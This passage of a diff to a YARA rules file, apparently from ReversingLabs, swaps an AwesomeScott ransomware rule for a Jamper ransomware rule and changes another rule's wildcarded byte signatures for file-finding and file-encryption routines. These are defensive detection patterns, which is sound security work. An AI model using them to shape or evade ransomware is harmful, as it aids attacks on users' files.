-            ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 09 8E 69 3F ?? ??
-            ?? ?? 2A
-        }
 		$encrypt_files = {
-            02 8E 2D ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 03 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73
-            ?? ?? ?? ?? 7A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 28 ??
-            ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 03 08 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 1F ?? 6F ?? ?? ??
-            ?? 07 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 25 02 16 02 8E 69 6F ?? ?? ??
-            ?? 25 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ??
-            25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 FE ?? 09 6F ?? ?? ?? ?? DC 06 2A
-        }
-		$setup_environment = {
-            02 28 ?? ?? ?? ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28
-            ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 02 28 ?? ?? ?? ?? 2A
+            14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73 ??
+            ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+            03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+            09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16 02
+            8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DD ?? ?? ?? ?? 11 ?? 38 ?? ?? ?? ??
+            38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DD ??
+            ?? ?? ?? 09 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 DC 00 DD
+            ?? ?? ?? ?? 08 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 00 DC 06
+            13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 ?? 2A
         }
-		$init_components = {
-            02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02
-            7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19
-            20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ??
-            ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 6F ?? ??
-            ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ??
-            ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19 20 ?? ?? ?? ?? 73 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02
-            7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ??
-            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 22 ?? ?? ?? ?? 22 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 02 17 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            02 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 16 28 ?? ?? ?? ?? 02 28 ?? ??
-            ?? ?? 2A
+		$find_files = {
+            16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            0C 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 06 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ??
+            ?? ?? ?? 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17
+            28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ??
+            00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69
+            FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ??
+            ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ??
+            ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11
+            ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ??
+            6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ??
+            ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ??
+            16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ??
+            ?? ?? 3A ?? ?? ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($setup_environment) and ($init_components)
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win64_Ransomware_Awesomescott : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Jamper : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects AwesomeScott ransomware."
+		description = "Yara rule that detects Jamper ransomware."
 		author = "ReversingLabs"
-		id = "36d3b801-dbdb-585a-ac80-1827a6749c87"
-		date = "2020-09-16"
-		modified = "2020-09-16"
+		id = "9ba9358e-8f67-5d0e-a9bc-b3b10cd3a8b2"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.AwesomeScott.yara#L1-L101"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ed8096a4abbd015f79f4ec7239cd4070194ad70fa03da6714e499a41f9fb9423"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Jamper.yara#L1-L110"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "826f8fa7cc92b279c609a9ab6a87c32940e37b4c2476854af75bbed29cb3eaf2"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -39817,102 +40391,102 @@ rule REVERSINGLABS_Win64_Ransomware_Awesomescott : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "AwesomeScott"
+		tc_detection_name = "Jamper"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$encrypt_files_p1 = {
-            48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 57 41 54 41 55 41 56 41 57 48 83 EC ??
-            45 33 FF 4C 8B F2 49 8B D8 4C 89 78 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 4C
-            89 78 ?? 4C 89 78 ?? 4C 89 78 ?? 4C 89 78 ?? B8 ?? ?? ?? ?? 48 8B F1 45 33 C9 44 8B
-            C0 8B D0 49 8B CE 45 32 ED 48 83 CD ?? 49 8B FF FF 15 ?? ?? ?? ?? 4C 8B E0 48 3B C5
-            75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8B CB 41 8D 51 ?? 45 8D 41 ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B E8 48 83 F8 ?? 75
-            ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 44 8B CB
-      }
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
+            ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ??
+            89 45 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
+            45 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 83
+            BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB ?? 7E ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8
+            ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ?? B8
+        }
 		$encrypt_files_p2 = {
-            44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ??
-            4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 44 8B CB 33 D2 C7 44 24 ?? ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C
-            24 ?? 48 8D 44 24 ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 89 44 24 ?? FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 0D ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 44 8B C0 45 33 C9 FF 15
-            ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B
-            44 24 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 41 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 44 24
-            ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 41 B8 ?? ?? ?? ?? 48 8D 15
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 DB 90 4C 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 49 8B
-            CC 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ??
-            48 8B 4C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F B6 DB 0F 42 D8 48 8D 44 24
-            ?? 45 33 C9 48 89 44 24 ?? 44 0F B6 C3 33 D2 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0
-      }
-		$encrypt_files_p3 = {
-            74 ?? 44 8B 44 24 ?? 4C 8D 4C 24 ?? 48 8B D7 48 8B CD 4C 89 7C 24 ?? FF 15 ?? ?? ??
-            ?? 85 C0 74 ?? 84 DB 0F 84 ?? ?? ?? ?? 41 B5 ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ??
-            ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D
-            15 ?? ?? ?? ?? 44 8B C0 48 8B CE E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 49 8B CC FF 15 ?? ??
-            ?? ?? 48 85 ED 74 ?? 48 8B CD FF 15 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF E8 ?? ?? ??
-            ?? 48 8B 4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B
-            D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C
-            8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
-            8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 8B
-            4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ??
-            ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ??
-            ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ??
-            ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 48 8B 4C 24
+            E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8
+            ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8D 45
+            ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 83 BD ?? ?? ?? ??
+            ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8D 45 ??
+            E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B 08 FF 51 ?? 83
+            BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? E8 ?? ?? ?? ??
+            8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9
+            ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ?? ?? ?? 59 EB ??
+            55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B
+            18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 B3 ?? 8D 45 ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 8D 95 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B
+            F8 57 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 33 C0 5A 59 59
+            64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
 		$find_files = {
-            E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 F6 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ??
-            ?? 00 00 E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15
-            ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83
-            F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 4C 8D 44
-            24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D
-            15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ??
-            ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
-            ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48
-            8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C
-            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ??
-            FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15
-            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ??
-            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 48 8D
-            8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48
-            8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ??
-            4C 8D 44 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 4C 8D 84 24 ?? ??
-            ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 39 74 24 ?? 76
-            ?? 4C 8D 0D ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24
-            ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            48 8B CB FF 15
-      }
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74
+            ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
+            ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ??
+            ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84
+            ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6
+            03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03
+            C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3
+            48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85
+            ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3
+        }
+		$enum_resources = {
+            55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 55 ?? 33 D2 55 68 ?? ?? ?? ??
+            64 FF 32 64 89 22 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8D 55 ?? 52 50 6A ?? 6A
